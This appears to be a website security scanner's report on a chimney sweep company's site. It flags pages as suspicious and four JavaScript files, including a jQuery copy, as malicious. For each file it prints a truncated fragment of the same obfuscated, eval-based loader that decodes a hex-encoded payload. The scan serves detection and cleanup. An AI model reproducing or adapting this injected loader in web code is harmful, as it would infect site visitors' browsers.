Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=mcschimneysweeplithonia.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.mcschimneysweeplithonia.com/ | 200 OK Content-Length: 5950 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweeplithonia.com/index.html | 200 OK Content-Length: 5950 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweeplithonia.com/lithonia-chimneysweep.html | 200 OK Content-Length: 15081 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.mcschimneysweeplawrenceville.com ...[2138 bytes skipped]... lt;/script> <script type="text/javascript" src="script/formfunc.js"></script> <script type="text/javascript"> $(documen <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.mcschimneysweeplawrenceville.com/" title="Lawrenceville Chimney Sweep">Lawrenceville Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplilburn.com/" title="Lilburn Chimney Sweep">Lilburn Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplithonia.com/" title="Lithonia Chimney Sweep">Lithonia Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweepmarietta.com/" title="Marietta Chimney Swee ...[1787 bytes skipped]... | ||
http://www.mcschimneysweeplithonia.com/script/jquery-1.2.6.min.js | 200 OK Content-Length: 60345 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://www.mcschimneysweeplithonia.com/script/ui_core.js | 200 OK Content-Length: 16582 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://www.mcschimneysweeplithonia.com/script/ui_tabs.js | 200 OK Content-Length: 21143 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://www.mcschimneysweeplithonia.com/script/lightbox.js | 200 OK Content-Length: 24175 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://www.mcschimneysweeplithonia.com/script/formfunc.js | 200 OK Content-Length: 5478 Content-Type: application/javascript | clean |
http://www.mcschimneysweeplithonia.com/lithonia-dryerventcleaning.html | 200 OK Content-Length: 16548 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.mcschimneysweeplawrenceville.com ...[2167 bytes skipped]... bs('rotate',5000); $("#footlinks").toggle("slow"); }); </script> </head> <body> <div id="container"> <div id= <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.mcschimneysweeplawrenceville.com/" title="Lawrenceville Chimney Sweep">Lawrenceville Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplilburn.com/" title="Lilburn Chimney Sweep">Lilburn Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplithonia.com/" title="Lithonia Chimney Sweep">Lithonia Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweepmarietta.com/" title="Marietta Chimney Swee ...[1787 bytes skipped]... | ||
http://www.mcschimneysweeplithonia.com/contactus.html | 200 OK Content-Length: 11896 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.mcschimneysweeplawrenceville.com ...[2176 bytes skipped]... 0); $("#footlinks").toggle("slow"); }); </script> </head> <body> <div id="container"> <div i <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.mcschimneysweeplawrenceville.com/" title="Lawrenceville Chimney Sweep">Lawrenceville Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplilburn.com/" title="Lilburn Chimney Sweep">Lilburn Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplithonia.com/" title="Lithonia Chimney Sweep">Lithonia Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweepmarietta.com/" title="Marietta Chimney Swee ...[1787 bytes skipped]... | ||
http://www.mcschimneysweeplithonia.com/test404page.js | 404 Not Found Content-Length: 471 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: mcschimneysweeplithonia.com
Result:
GET / HTTP/1.1
Host: mcschimneysweeplithonia.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: mcschimneysweeplithonia.com
Referer: http://www.google.com/search?q=mcschimneysweeplithonia.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: mcschimneysweeplithonia.com
Referer: http://www.google.com/search?q=mcschimneysweeplithonia.com
Result:
The result is similar to the first query. There are no suspicious redirects found.